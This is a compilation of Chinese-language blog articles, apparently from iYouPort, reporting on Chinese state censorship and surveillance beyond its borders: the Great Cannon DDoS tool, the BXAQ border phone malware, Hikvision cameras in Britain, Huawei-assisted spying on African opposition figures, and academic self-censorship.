为了消灭防火墙外部的抗议活动的声息，中国在全世界范围内全面展示着自己的力量，并揭示了可以用来在世界范围内消除异议或批评的工具。

其中一些工具（例如对包括美国公司NBA和暴雪在内的私人实体的压力）引起了一堆头条新闻，并激怒了这些公司的客户和员工。而其他的则更具技术性和隐秘性，经常被观察家们忽略。

“大炮”瞄准防火墙外的站点

大炮是由中国ISP大规模部署的一种技术，用于将恶意 JavaScript 代码注入客户的不安全（HTTP）请求中。恶意代码为通过这些ISP的数百万个中国大陆互联网连接提供了武器。

当用户访问不安全的网站时，他们的浏览器还将下载并运行政府的恶意 javascript，这将导致他们向“GFW”之外的站点发送更多流量，从而使这些网站对其他用户的运行速度变慢，甚至完全过载。

比如，通过向百度注入恶意的 JavaScript 代码以使从中国大陆以外访问百度网站及广告的流量转换为DDoS攻击发送至目标。

大炮（Great Cannon）在2015年的首次亮相时就摧毁了 Github，中国用户在该处托管反审查软件和《纽约时报》等被禁止的新闻媒体的镜像。在广泛的国际反对之后，这次袭击被制止。

然而去年9月，大炮再次被激活，这次瞄准的是香港示威者。它短暂地捣毁了 LIHKG，这是香港热门的社交媒体平台，它对抗议活动至关重要。

通过恶意软件瞄准全球华人社区

普遍的在线监视是中国大陆公民的现实生活。

但是，如果中国政府想要监视的社区不在国内，"中国当局就会越来越愿意在昂贵的零日漏洞上投资"，以监视生活在国外的目标群体，或者以其他方式将海外华裔留在国内的家人"作为人质"。

- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《“零日漏洞”针对全民间谍行为更加肆无忌惮：新型监视车出台，五百米开往能入侵任何设备》
- 《什么是零日漏洞？间谍们如何使用它？》
- 《零日漏洞黑市的泛滥》（英语）
- 这种悲催的现状是怎么造成的？《可怜正义没有钱》

去年底安全研究人员已经发现了一些针对维吾尔族和海外藏族侨民的移动恶意软件攻击活动，这些攻击方式很昂贵，但显然政府当局用得起。

其中一个构成广泛的“水坑”攻击，使用多个零日漏洞来瞄准维吾尔语

网站的访问者。

「图」

「图」

「图」

「图」

正如我们之前提到的，这代表了零日使用方式的巨大变化；尽管中国当局继续在鱼叉式钓鱼攻击活动中针对特定的知名个人，但他们现在不惧怕投放更广泛的网络，以便将监视软件植入到中国境外的所有华人社区和政治团体。

审查国外的中国应用程序

在中国国内，政府当局不需要使用零日攻击在个人设备上安装恶意软件。因为中国的所有消息传递和浏览器应用程序的制造商都必须在其客户端上包括满足于政府要求的过滤。

这意味着，当您使用由中国大陆公司创建的任何应用时，该应用都可能包含旨在扫描和阻止所谓的 “违禁网站或关键字” 的代码。

- 这不是中国的特例《“每家公司都有给警察留的后门”，现在它正在被滥用于监视》
- 《美国和中国在监视公民方面引领全球》

到目前为止，中国在很大程度上一直将这种激活设备端形式的审查制度集中在其国内。微信中嵌入的关键字过滤仅适用于具有中国大陆电话号码注册的用户。

- 《微信 Is Watching You》
- 《在中国：TA为什么不使用微信？》
- 《什么是高峰冷漠？从白宫到微信》

一直以来，中国国内浏览器的中文版本遭到的审查和监视比英文版本要多得多。但是，随着香港的抗议活动和国内侵犯人权行为所引起的国际关注迅速提升，对于中国当局来说，在海外实施中国审查监视政策的诱惑越来越大。

TikTok 是来自北京的最大且增长最快的全球社交媒体平台之一。它

极大地调节了其内容，并且据称具有针对不同司法管辖区的本地审查员，就如 Facebook 所做的那样。

- 《你能从TikTok（抖音）中挖掘到哪些情报线索？》

在去年年初政府对“短视频”平台进行了一波镇压之后，新闻媒体开始报道该平台缺乏与香港相关的内容。当然不会有，因为全过滤掉了。

TikTok 泄露的一般性管理准则明确禁止任何批评中国政府的内容，例如与中国对少数民族的迫害或天安门广场有关的任何内容。

多年来，美国的社交媒体公司已经多次被指控向世界其他地区出口美国的文化和政策：Facebook 甚至在那些与美国相比文化上更宽容的国家/地区均对裸体和性语言进行了全球范围内的审查，即使在拥有替代解决法的国家/地区也是如此。

- 《裸体抗议者谴责 Facebook 的乳头审查》

和中国一样，政府对科技公司的影响导致这些科技公司对全球产生的影响。

- 案例《算法殖民：从不知所云的流行语到金钱驱动的流行病》
- 辩论《数字殖民主义威胁全球南方国家》

在中国，根据2017年通过的所谓《国家网络安全法》，明确要求国内外公司都遵守中国的审查制度，该法为内容审查提供了激进的指南，且措辞含糊边界模糊，为当权者的滥用留下了极大的解释余地。

世界上只有两个国家能影响全球，那就是中国和美国，因为他们各自占据互联网的几乎一半，他们能控制他们各自掌握的部分。（见下面的图）

- 《图解中国科技巨头—半壁“高堡奇人”》
- 《毒霾 - 监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

「图」

「图」

「图」

「图」

上面的大图在这里看到，点开大图哦。

用钱说话：但评论家不能说话

人们已经注意到中国新的全球审查工具包中最引人注目的分支：对跨国公司的经济压力。

对于暴雪和NBA这样的公司，中国国内的市场对他们越来越重要。这意味着，当这些公司或与之有联系的人表示对香港示威者的支持时，中国可以利用经济压力来使这些公司或与之有联系的任何人保持沉默。

人们已经在反击中国对跨国公司的审查制度。

暴雪的员工举行罢工抗议，NBA球迷继续表达他们对香港示威活动的支持。但是，随着中国经济影响力的不断增长，所有有能力控制用户发言的跨国公司都将会看到来自中国的更多压力。

结果是什么？

狭隘的“互联网主权”论已被证明不足以满足中国的需求：国内政策目标现在要求在境内外均可控制互联网。

需要明确的是，中国政府并不是控制互联网方面的特例：包括美国和欧盟在内的其他国家，都在忙于为各自的国界外行使自己的监视和审查能力提供各式各样的理由。

这一局面的最终结果会是什么？

中国现在通过无限制使用恶意软件和国家支持的DDoS攻击，将其互联网力量投射到国外，还有授权的客户端过滤和监视、限制跨境言论自由的经济制裁、并迫使私人实体充当全球思想警察。

除非立法者、公司和个人用户像香港反抗者一样勇敢地坚持抵制威权主义的行为，否则，我们将不得不看到所有国家都屈服于高堡奇人。○

原文

中国的审查制度如何引领了世界潮流？ - iYouPort

中国-半壁高堡奇人

政治、审查、领土争议和游戏？这些通常不会出现在同一个领域。然而游戏业已成为价值 1300 亿美元的市场，具有政治影响—— 中国的审查制度正在引领潮流。 [[

|https://web.archive.org/web/20210818211726/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/5bf402cd91258c001a1992c9/edit/search/posts?query＝%23China]]

PlayerUnknown 的 Battlegrounds（PUBG）取得了巨大的成功，它是 App Store 的畅销产品。这是来自韩国视频游戏公司 Bluehole 的产品，但是如果你今天在手机上玩 PUBG，你会发现“台湾”在所有文字聊天中都会被审查。发送到聊天时，该单词将显示在星号中。无论你在哪个国家玩，都会发生这种情况。

今年中国的监管机构已经对游戏产业实施了重大影响。腾讯的股票在2018年暴跌近 30%。随着中国成为最大的游戏消费国家之一，其监管实践的力量将影响全球游戏市场并影响游戏呈现给消费者的方式，如 PUBG 中“台湾”的审查案例所示。

审查制度的核心是压制或限制行为。在自由游戏市场中，限制消费者访问游戏的破坏性财务影响可以从领先的游戏生产技术巨头的市场价值和收入损失中定价。新规将增加窘境，中国最近制定了对未成年玩家游戏时间的限制；更少的交互时间将导致更少的参与度指标，从而向底线迈进。这种趋势将持续存在，因为中国长期以来一直在严格监管该行业。

中国有一个庞大的社区，从事游戏业的人数超过 6 亿，并且增长率几乎是美国人口的两倍。它占全球游戏收入的四分之一，在 2018 年达到 379 亿美元。这使得中国成为游戏经济中的主要收入者。

随着这一新兴的全球经济的壮大，政治将在最终产品中变得更加突出。一个轻松愉快的娱乐市场已经出现了全球大规模审查的意外结果，这仅仅源于一个国家的政治价值观。中国的审查已经成为常态，以数字方式跨越国界，影响全球行业标准。

原文

中国老大哥的笑话带来了什么样的启示？ - iYouPort

中国-半壁高堡奇人

这可能是个好消息。

和亚马逊的老大哥把国会议员识别为犯罪分子的“小错误”比起来，中国的面部识别闹剧可能更“实用”一点。

去年春天，当人工智能人脸识别监视系统被整合到一些人行横道上时，中国对闯红灯人士发起的战争上升到了一个全新的水平，通过用水喷射来惩罚闯红灯，向闯红灯者发送有关法律后果的文本警告，和/或公开羞辱他们，把他们的照片和名字晒在巨型的当街显示屏上。

而上周，当港口城市宁波的一个交通摄像头在一辆过往的公交车上识别出一张脸时，这个老大哥系统进入了一个新的激动人心的失败模式—— 该监视系统正确地认定人脸属于中国巨头格力电器的首席执行官董明珠，然后董女士的脸被登陆到了一个巨大的显示屏上，作为闯红灯批判对象。

那是一个公交车侧身广告。

🌛这个笑柄至少能确定两件事：1、宁波的人脸识别也许能够准确识别人物身份；2、该监视系统无法区分照片和活人。如果我们假设目前全中国使用的人脸识别监视系统和宁波的技术水平一致，那么，结论有可能是，一个非常拙略的塑胶面具就能令您隐藏完好；甚至一件印满了明星脸的T恤/夹克衫，都有可能起到迷糊监视器的作用。当然，您还可以在自己的连帽衫后脑勺位置上印一张猫王的脸。

Last week, the facial recognition system entered a new and exciting failure mode when a traffic-cam in the port city of Ningbo captured a face displayed on the side of a passing bus; Chinese AI traffic cam mistook a bus ad for a human and publicly shamed the CEO it

depicted for jaywalking

原文

中国迫使游客安装监视恶意软件 - iYouPort

中国-半壁高堡奇人关于中国社会

该恶意软件下载手机短信、日历条目和电话日志，并扫描设备以查找超过70,000个不同的文件。

「图」

「图」

越过中国边境进入新疆地区的外国人，会被迫在手机上安装一种恶意软件，吸取所有短信以及其他信息，并提供给当局。

根据该软件的多项专家分析，该 Android 恶意软件由边防人员在物理上要求检查手机时安装，它扫描旅行者的设备以获取特定的文件集。

当局声称正在寻找包含极端主义的内容，但是也包括无害的伊斯兰教材料、领先研究人员的伊斯兰教学术书籍，甚至日本金属乐队的音乐。

虽然下载游客的短信和其他手机数据无法与新疆维吾尔族人群的遭遇相提并论 —— 他们生活在面部识别系统、闭路电视摄像机和物理搜索的不间断监视之下。

VICE新闻发布了一份秘密纪录片，详细介绍了一些针对维吾尔族人口的侵犯人权的监视行为。

但恶意软件的曝光足够显示，中国政府在新疆地区的咄咄逼人的警务和监视方式也扩展到了外国人。

“此监视应用程序提供了另一个证据来源，显示新疆正在进行普遍的大规模监视。我们已经知道新疆居民—特别是突厥穆斯林—在该地区受到全天候的和多方面的监视”，人权观察说。

“而如今发现的问题已经超出了这个范围：它表明即使是外国人也受到如此大规模的非法监视。”

一名穿越边界并遭遇在其设备上安装了恶意软件的游客向 SüddeutscheZeitung 和 Motherboard 提供了一份副本。

来自 SüddeutscheZeitung 的报告团队成员随后也穿越了边界，并在自己的手机上安装了相同的恶意软件。

主板已将 Android 应用程序的副本上传到 GitHub 。您可以在此处下载。

在从吉尔吉斯斯坦进入中国的边境口岸，边境当局会搜查旅行者的电话、并安装恶意软件，这种恶意软件称为 BXAQ 或 Fengcai。

其中一位旅行者表示，越过边境的人会被带入一个干净，无菌的环境进行搜查，总之，完成多个阶段的安检过程大约需要半天的时间。

代表开放技术基金的渗透测试公司 Cure53、多伦多大学公民实验室的研究人员、波鸿鲁尔大学的研究人员、以及卫报本身都提供了有关 BXAQ 的见解。

该应用程序的代码还包括“CellHunter”和“MobileHunter”等名称。

一旦安装在 **Android** 手机上，**BXAQ** 就会开始收集所有手机的日历条目、手机通讯录、通话记录和短信，并上传到服务器。

恶意软件还会扫描手机以查看安装了哪些应用，并提取某些已安装应用的主题用户名。

该应用程序不会试图隐藏自己。相反，它会在设备的应用选择屏幕上显示一个图标，表明它被设计为在被当局使用后即从手机中删除。

“现代提取系统利用这点可以构建一个人的生活全景图。现代应用程序、平台和设备会生成大量数据，人们可能甚至不知道或者认为已被删除，但仍可以在设备上找到。在一个下载了被认为是错误的应用程序或新闻文章就可能会让你进入拘留营的国家，这种行为是非常惊人的”，隐私国际的研究人士说。

「图」

「图」

SüddeutscheZeitung 的记者说，他们看到的机器似乎在边境搜索 iPhone。

大赦国际（Amnesty International）中国研究员帕特里克潘（Patrick Poon）表示，“看到外国人和游客如何接受这种监视，这是非常令人担忧的。”

该应用程序代码中包含恶意软件扫描的73,000多个不同文件的哈希值。

通常，很难确定这些哈希值与哪些特定文件有关，但报告团队和研究人员设法发现了其中大约1,300个的输入。

这是通过文件搜索引擎 Virus Total 完成的。报告团队还在线发现了其他副本，并验证了该应用扫描的材料类型。

「图」

「图」

被扫描的许多文件都包含明显的极端主义内容，例如所谓的伊斯兰国出版物 Rumiyah。

但该应用程序还扫描部分古兰经、与达赖喇嘛相关的**PDF**，以及来自日本金属乐队 **Unholy Grave** 的音乐文件（该乐队有一首名为“台湾：另一个中国”的歌曲。）

“中国政府在法律和实践上经常将和平的宗教活动与恐怖主义混为一谈。中国法律以非常广泛和模糊的方式界定恐怖主义和极端主义”，人权观察的 Wang 说。

其中一个扫描文件是叙利亚圣战组织，这是一本由查尔斯·利斯特（Charles Lister）撰写的书，他是中东地区研究中心的主要恐怖主义研究学者和高级研究员、以及反恐计划的负责人。

“这对我来说太惊讶了”， Lister在一封电子邮件中写道。“我怀疑中国当局会在标题中找到任何带有’圣战’字样的东西，就认为那是可疑的”。

“该书涵盖了土耳其伊斯兰党在叙利亚的作用，这也可能是北京的敏感点。我曾经与中国官员会面并与他们交流，向他们介绍这些问题，所以我不知道北京会对我有任何怀疑”。

主板曾经报道过在个人设备上强行安装的恶意软件 JingWang。该应用程序也是扫描整个手机以查找类似的特定文件集。

根据专家分析，BXAQ 搜索的文件列表与 JingWang 搜索的文件有些重叠，但并非完全一样 —— BXAQ 更进一步。

中国当局没有回应置评请求。 **Ninjing FiberHome StarrySky** 通信发展有限公司也没有回复 —— 该公司就是开发该应用程序的部分国有公司。

“这是一个全球趋势，越来越多的国家将边界视为法外之地，当局有权进行他们想要的任何无耻的监视形式，” Omanovic 说。

“但边境并非没有法律：基本权利的全部意义在于无论你身在何处，你都有权获得这些权利。旨在在边境实施越来越相似的监视制度的西方国家应该关注中国正在做的事情，并反思一下这是否真的是他们想要追求的东西”。〇

China Is Forcing Tourists to Install Text-Stealing Malware at its Border

原文

侵入英国 - iYouPort

中国-半壁高堡奇人

英国议会以及全国各地的警察、医院、学校和大学，布满了中国海康威视的产品，该公司是如何侵入英国的？

「图」

「图」

这是一家涉嫌侵犯人权的中国国有企业。但这并没有阻止海康威视在英国获得一个主要的立足点。根据消息来源和采购记录，这家总部位于中国杭州的监视技术公司通过一个企业合作伙伴网络，为英国议会以及全国各地的警察、医院、学校和大学提供监控系统。

海康威视的技术是美国政府最近禁止联邦机构采购的，但丝毫没有影响这家年收入高达数百万美元的老大哥公司将其技术出售给英国警方、政府和组织。

与此同时，该公司一直在帮助在中国政府在新疆地区建立一个压迫性的*监视国家*，维吾尔族少数民族被关押在秘密的拘留营里。

一些英国政客正在提出对这项技术的担忧—— 并且正在呼吁对进一步购买该技术实施禁运—— 理由是海康威视是侵犯人权的同谋，也是国家安全风险，因为担心中国情报机构可能会获取英国敏感位置的监控数据。该公司的一些监控摄像机会记录音频并连接到互联网，这意味着它们可以在世界上任何地方进行监控。

根据英国议会第二议院议长 Alan West 勋爵的说法，今年1月，这些摄像机计划安装在伦敦的 Portcullis House 内。Portcullis House 是威斯敏斯特的一座办公大楼，这里由200多名议员和400名员工用于日常工作，这些工作通常涉及国家安全、经济和外交政策等敏感问题的讨论。

West 告诉 The Intercept，一些“担心这种情况正在发生”的人给了他

一份合同，合同上显示该建筑物将配备的是海康威视的监控设备。他说，他随后向议会当局抱怨此事。

“在我看来这件事非常令人担心—— 这更像是能让 Mata Hari 进入每个办公室，”他说，指的是荷兰异国情调的舞者，被指控在第一次世界大战期间为德国进行间谍活动。“我们是否确定对中国的监视摄像机在议会办公室里感到满意？让他们听取我们的政府部门员工对选民说的话？窃听部长说的话？在他们的办公桌上拍摄机密文件？“

议会发言人否认存在涉及海康威视的合同，并表示没有计划“今年在 Portcullis House 安装任何额外的摄像头”。

然而，熟悉议会大楼部分监控系统的消息来源表示，除了 **Portcullis House** 外，还包括威斯敏斯特宫、诺曼肖建筑和大本钟，海康威视的设备过去“绝对”在那里使用过。

该消息人士表示，他们无法确认海康威视的监控相机目前是否处于活动状态，因为该地区所有议会和政府大楼内及周围都安装了数百台摄像机。

据以前的估计，在整个英国，有超过120万台海康威视的监控相机。The Intercept 审查的采购记录和政府合同表明，该公司—— 截至**2018**年**6**月，由中国独裁的共产党政权拥有**40**%的股权—— 已向全国各地的各种组织和公司提供监控系统。

这些摄像机已广泛安装在伦敦，包括哈克尼、肯辛顿、切尔西、哈默史密斯和富勒姆；并且已被吉尔福德、南凯斯特文、瑟罗克、斯托克顿、北泰恩赛德、阿伯丁郡、福尔柯克、西萨福克和肯特郡的当地政府当局采购。

去年威尔士警方开始将中国的监控摄像机安装在17个城镇。在北爱尔兰，海康威视的监控设备已安装在**300**多辆公交车内！并且，这些摄像机已安装在汉普郡、兰开夏郡、肯特郡、北安普顿、康沃尔郡、坎布里亚郡和约克郡的医院内；还有被安装在萨里、德文郡、伯明翰和普利茅斯的学校里。这些监视相机也已经部署在商店里：位于巴斯的 Southgate 购物中心、伦敦的 Gallions Reach 购物中心，以及 Tesco 超市和汉堡王快餐店，全有。

海康威视的营销材料表示，它的相机可以与面部识别软件一起使用，并链接到一个集中的照片数据库里。该公司声称，该技术可以区分已知面孔和陌生人，并在未知人员进入建筑物或办公室时触发警报。它

表示，其企业使命是“共同努力，加强安全，推动全球可持续发展。”

在中国，海康威视一直在帮助政府实施一个名为“天网”的全国性监控网络。近年来，这项努力一直专注于新疆地区，共产党政府正在以“打击恐怖主义”为借口，对穆斯林少数民族维吾尔人进行镇压。

在新疆，估计有100万维吾尔人—— 包括儿童，孕妇，老人和残疾人—— 被关押在拘留营中。在这些神秘的设施中，维吾尔人被迫接受“再教育”过程，包括强制性收看共产党政治歌曲和演讲。据说那些抵抗者会面临惩罚，例如殴打和单独监禁。

根据人权观察组织的报告，中国当局“几十年内在新疆实施的人权侵犯行为已达到一定程度”。该组织在2018年的一份报告中说，对新疆维吾尔人的镇压最令人不安的一个方面就是大规模监视系统。

报告说：“新疆当局对声音样本和 DNA 等生物识别数据进行强制性大规模收集，并使用人工智能和大数据来识别、剖析和跟踪每一个人。” 更多相关信息（不仅是中国的生物识别监控方法和解析）详见IYP 分类知识列表-2 中的“生物识别和对抗方法”部分。

“当局已将这些系统设想为一系列’过滤器’，挑选出具有某种行为特征的人，他们认为这些行为或特征对共产党的统治构成了威胁。”

至少自2010年以来，海康威视一直在帮助在新疆建立庞大的监控网络，警方正在利用这些摄像机监视少数民族。 2013年，海康威视的公共安全经理吹嘘该公司的技术*使安全部队能够跟踪和描述任何人*。他说：“我们可以通过查看某个人来自哪个家庭来帮助保持稳定，说服他们的亲属阻止他们的有害行为，就像法轮功那种行为，”这是一个被禁止的精神团体。

随着中国加大对新疆的打击力度，海康威视已经获得了丰厚的财务回报。

据报道，该公司在该地区拥有超过"10亿美元的业务份额"，仅**2017**年就有**5**份合同，价值约**2.77**亿美元。这些合同包括向地方政府机构提供监视系统的交易，用于拘留营、街道以及清真寺、学校和办公室内。

海康威视拒绝评论这份报告。该公司过去曾试图淡化与中国政权的关系，将自己描绘成一家“独立的”公司。然而，该公司自己的财务记录显示其控股股东是中国政府所有的实体，称为中国电子科技集团。

根据视频监控行业出版物 IPVM 翻译的政府新闻稿，2018年9月，中国政府官员 Weng Jieming 宣布领导层“被纳入海康威视公司的治理结构”。Weng 称赞该公司，称其“坚决贯彻执行国家主席习近平的重要指示精神”。

在英国，海康威视不直接向其客户提供监控相机；相反，它通过批发商和分包商网络销售其监视设备。该公司最新的英国财务记录显示，从**2017**年开始，年度总利润为**262**万美元，营业额为**655**万美元。根据其宣传材料，该公司的全球销售总收入高达**66.5**亿美元。

海康威视在英国设有三个办事处，去年该公司还宣布计划在伦敦希思罗机场附近的英国总部内建立一个新的研发中心。该研发部门由 Pu Shiliang 领导，据报道，此人还曾在政府公安部工作，该部门是一个专门以活动家和政治对手为目标的间谍组织。

对于任何从事安全行业的公司来说，英国是一个很有吸引力的前景。英国是世界上使用监视技术最多的国家之一，在整个城镇和城市中，估计有**600**万个摄像头，平均每**11**个人一个摄像头。

海康威视通过大幅削减其欧洲竞争对手，成功进入了利润丰厚的英国市场。根据政府采购文件，可以以1,000英镑（1,310美元）购买基本的海康威视监控系统；相比之下，德国博世制造的类似规格的系统成本为3,000英镑（3,930美元）。

部分英国政客对中国政府参与该国的关键基础设施表示担忧。去年12月，国防部长 Gavin Williamson 表示，他将密切关注中国公司华为将英国移动网络从4G升级到5G的角色。然而，海康威视在英国不断增长的存在并没有引起同样的审查。

在美国，海康威视没有这么轻松的旅程。去年8月，“国防授权法”增加了一项修正案，禁止美国军方和政府购买海康威视的技术。撰写该修正案的众议员 Vicky Hartzler 表示，中国政府试图通过扩大中国公司在美国国内通信和公共安全领域的作用来“瞄准美国”。

“中国公司销售的视频监控和安全设备使美国政府面临重大漏洞，”她说，“我起草的修正案将确保中国不能在联邦机构内建立视频监控网络。” 该禁令最终签署为法律。

英国工党议员 Karen Lee 告诉 The Intercept，她敦促英国政府考虑抵制海康威视产品，特别是用于公有建筑的情况。“当外国政治进程中的数字干扰越来越多地被用来破坏其他国家的稳定时，我们必须警惕

海康威视或任何外国公司可能对英国国家安全造成的任何风险，”Lee 说。

Lee 补充说，需要更多证据证明海康威视与中国政府的间谍活动之间的联系。“无论如何，一个在侵犯人权方面发挥作用的公司正在为英国政府机构提供设备，这是不可接受的，”她说，“英国必须发出一个明确的信息，即我们不会与任何促进大规模侵犯人权和种族压迫的公司开展业务。“

CAMERAS LINKED TO CHINESE GOVERNMENT STIR ALARM IN U.K. PARLIAMENT. Through a network of corporate partners, the Hangzhou-based security firm has supplied its surveillance cameras for use on the British parliamentary estate, as well as to police, hospitals, schools, and universities throughout the country

原文

北京的影响力阴影引发澳大利亚学者的自我审查 - iYouPort

中国-半壁高堡奇人地缘政治

渴望保持进入中国的学者越来越有意识地避免批评北京

「图」

「图」

随着对中国在澳大利亚的政治影响力的担忧越来越多，批评人士表示，渴望保持进入中国的学者越来越有意识地避免批评北京。

澳大利亚学者 James Leibold 期待他的作品在“中国季刊”上发表，他花了两年时间研究“一带一路”，但他知道审查的苛刻，已做好了自己的论文最终被公共消费的准备。

随后 Leibold 发现，两位来自欧洲大学的学者突然想到将他们的作品与他的作品一起出版。随后大家进行了一次讨论，并在一个月前共同决定：不提交任何论文。Leibold 的作品将不得不继续等待。

“我们谈了很长时间。他们担心自己将不会获得中国的签证。这是自我审查，“拉筹伯大学的 Leibold 说，“这很令人遗憾。”

Leibold 的经历突显了西方学术界越来越关注北京在海外影响力日益扩大所带来的问题。批评者认为，学者越来越多地审查自己，以避免批评北京，担心他们可能会失去进入该国的机会。虽然北京在这个过程中做得并不那么明显，但批评人士说，这只是中国在国外压制异议并施加影响力的一种方式。

例如，中国政府没有人警告过 Leibold 或他的同事不要发表论文。但综合诸多因素，包括其他学者被拒绝中国签证的“前车之鉴”，以及北京方面先前命令“季刊”关闭关于诸多政治敏感话题的文章等信息，都有助于“说服” Leibold 的同事们最好保持低调。

他们的经验并不是特殊的。 Leibold 说，大学的一些研究人员在被中国当局警告后，已经退出了与外国机构的合作项目，他们的项目正在受到监控。他说，一些西方学者在被中国“安全代理人”（国安）阻拦并询问他们的具体工作后，在去中国旅行期间已经变得“惊慌失措”。他还举了一个例子，一位学者被中国国安要求提交自己的博士论文以供审查。

“我知道有一些西方学者将研究重点从所谓的敏感话题转移出去了，原因是直接的恐吓或担心被恐吓，”他说。

这些关于学术自我审查的争论来自于对中国的海外影响力越来越大的担忧。尽管中国是过去11年来澳大利亚最大的贸易伙伴 – 双边贸易占澳大利亚贸易总额的近四分之一，但自2016年以来，两国关系一直在下降，当时堪培拉与美国和日本一道，在中国就南海问题与菲律宾发生领土争端时，支持针对北京的国际法庭裁决。

澳大利亚学者的公开信

莫纳什大学中国研究讲师 Jonathan Benney 是在这封公开信上签名的人。他说，学术界确实面临来自澳大利亚中文媒体和个别中国人的压力，被要求“写出积极的文章”。但他并不认为整个学术界已经屈服于压力，并说许多学者仍然在批评中国。他说华裔学生经常对他提出不同的意见，但通常愿意在课堂上听他讲。

“澳大利亚的中国学生持有不同的政治观点。有学生认为中国的政治制度可以让国家有效地运转，但对我而言，我重视民主”，他说。

原文

华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手 - iYouPort

中东和北非中国-半壁高堡奇人作恶者：中国在帮谁

以色列的间谍软件是谁买的？非洲国家政府还是华为？该报道中没有说明

「图」

「图」

科技寡头公司作为军事和政治武器，这并不奇怪，尤其是与盟友当局的合作；至少以下内容为代表能看到它的基本运作：

- 《美国人、IBM和数字警察国家》
- 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《一个新的战争时代：互联网雇佣军如何为威权政府而战》
- 《美国雇佣军为什么要帮助威权政府迫害异议人士？》
- 《中美 1984 在海湾的黑手》
- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》
- 《走进暗杀之城》
- 等等……

于是WSJ的故事并不那么令人意外。虽然是第一次揭露。

中国公司在非洲扩张已经不是什么秘密，并且中国的影响力在过去十年中已经大幅增加，该报道确认了，华为一直在监视由北京支持的非洲领导人的政治对手。

该报告援引了高级安全官员与这些国家的华为员工进行的协调，详细介绍了该公司的技术人员如何“帮助非洲政府监视他们的政治对手，⚠包括拦截目标人的加密通信和社交媒体，以及利用手机信息跟踪他们的行踪”。

该报告记录了六起重大事件，其中华为技术人员入侵并拦截了非洲领导人和政府的通信。

北京官员和华为高管都否认了这一报道，称他们没有授权对非洲领导人或政府进行任何此类黑客攻击或网络窃听援助。

华为在向“华尔街日报”发表的一份书面声明中表示，该公司“从未参与’黑客攻击’活动”，并进一步表示“完全拒绝这些……指控。”

以下是该报道的亮点：

乌干达 ——

根据乌干达高级安全官员的说法，去年乌干达坎帕拉的一组六名情报人员在努力遏制对约韦里穆塞韦尼总统33年政权的威胁。

Bobi Wine 从华盛顿返回，美国支持他的反对派运动；乌干达的网络监视部门有严格的命令以拦截他的加密通信，利用的是2010年的法律赋予政府的广泛权力能够‘确保其多方面的利益’。

“华为技术人员工作了两天，以帮助我们做到这点，”监控部门的一名高级官员说。

华尔街日报看到，华为工程师的名字就写在内部警方文件中，请注意⚠使用的是以色列制造的间谍软件以渗透到 Wine 先生的 WhatsApp 聊天群组。

当局破坏了他组织街头集会的计划，并逮捕了数十名支持者。

赞比亚 ——

在赞比亚，根据那里的高级安全官员的说法，华为技术人员帮助当地政府监视了反对派博客团队的手机和 Facebook 页面，这是反对派新闻网站的页面，该网站多次批评总统埃德加伦古。

高级安全官员在赞比亚电信监管机构办公室的一个网络监控部门找到了两名华为专家 —— 是他们帮助确定了博客的所在位置，并与部署在西北部城市 Solwezi 的警察部队保持联系。

阿尔及利亚 ——

一名官员说，“我们讨论了针对可能威胁国家安全的反对派的黑客攻

击”，并补充说，阿尔及利亚人在该领域取得了进步。

该报道引用了一份乌干达和阿尔及利亚部队共同编写的机密报告，这份报告称阿尔及利亚使用的系统为“华为的智能视频监控系统”，称其为“先进系统，提供最好的监控应用之一”。

当月晚些时候，警察局局长Kayihura先生签署了一项合作协议，让阿尔及利亚团队就乌干达华为实施的监控计划的推出提供建议。

根据乌干达高级官员的说法，该项目的主要阿尔及利亚顾问被阿尔及利亚人描述为是“在华为深圳总部接受培训”的网络专家。

打击当地反对派博主和活动家

“华为技术人员帮助拦截反对派博客博主的通信，这些博主正在运行一个名为 Koswe 的新闻网站，该网站反复批评领导人 Lungu”，网络犯罪小组的两名赞比亚官员说。

华为工作人员访问了该博客的 Facebook 页面，在那里他们找到了博主的电话号码，然后使用其他公司生产的间谍软件来查看和查找设备。

4月18日，一队网络官员、警方情报官员和 Zicta 专家挤在总统官邸底层的Chanda先生办公室里。

赞比亚情报官员说，当时两名华为技术人员打开他们的笔记本电脑，上面显示与目标博主的 Facebook 页面相关联的多个手机的实时跟踪路线，地图上还绘制了华为手机天线。

关于实时跟踪技术的进步，更多《美国科技巨头如何帮助中国建立大规模监视系统》：⚠只要政府官员输入一个人的手机号码，Aegis 就可以显示该设备在给定时间段内的具体位置：过去三天、最后一周、最后一个月或更长时间。

华为移动网络和监控系统的销售在非洲呈爆炸式增长

Feldstein 在获悉“华尔街日报”的调查结果后说，最重要的问题是，中国企业是否只是为了这笔资金，或者他们是否正在推动一种特定的监视议程。“这表明答案是后者。”

RWR 咨询集团高管 Andrew Davenport 表示，非洲对中国的重要性至少与北京吸引其他国家在数字领域接受中国治理规范及其不自由政

治价值观的长期愿景，一样重要。〇

Huawei Bombshell: Extensive Cyber Spying On Beijing’s Political Opponents In Africa Revealed

原文

去全球化和中国的“纸老虎” - iyouport

中国-半壁高堡奇人

对于反抗者，“时机”只有在你能有效利用它的时候才能成为时机。#全球化 #帝国主义 #民族主义 #中国 #清零 #人口危机 #经济 #革命

感谢读者来稿！

全球化就快结束了。在不久的将来，你会看到产业的本地化，国家主义的复辟和加强，这些都是曾经在后苏联时期对所谓的“历史终结”和“一个开放边界的世界”的幻想中设法庄严地埋葬掉的东西。没有什么开放的世界了。50种色调的民族主义正在从帝国的血腥泡沫中浮现。

还记得吗，全球化最初是一个狡猾的但很有效的贿赂：二战后，美国向其他国家提供了以前不可能的东西 —— 它的舰队，或者说确保进入任何市场的机会，包括它自己的市场（地球上最大的市场）、制造商和海上通道，这使得每个人都能与其他人进行贸易，并以不同的、更好的价格生产东西.....所有这些都是为了换取这些国家加入美国阵营以对抗苏联。换句话说，美国以其经济和军事能力成功地收买了其盟友。

该计划成功了。苏联解体，美国成为霸主，所有人都发现自己处于一个市场相互依存的世界中，德国需要俄罗斯来取暖，非洲需要乌克兰的小麦填饱肚子，苹果需要中国的廉价血汗工人 ..... 人与人之间彼此嵌入。而今天，就在这个岔路口上；依旧有人假装不明白为什么乌克兰没有从其西方伙伴那里及时获得大量远程火炮。

资本主义的全球化和这种经济模式的矛盾，总是导致一系列日益严重的衰退和帝国战争。

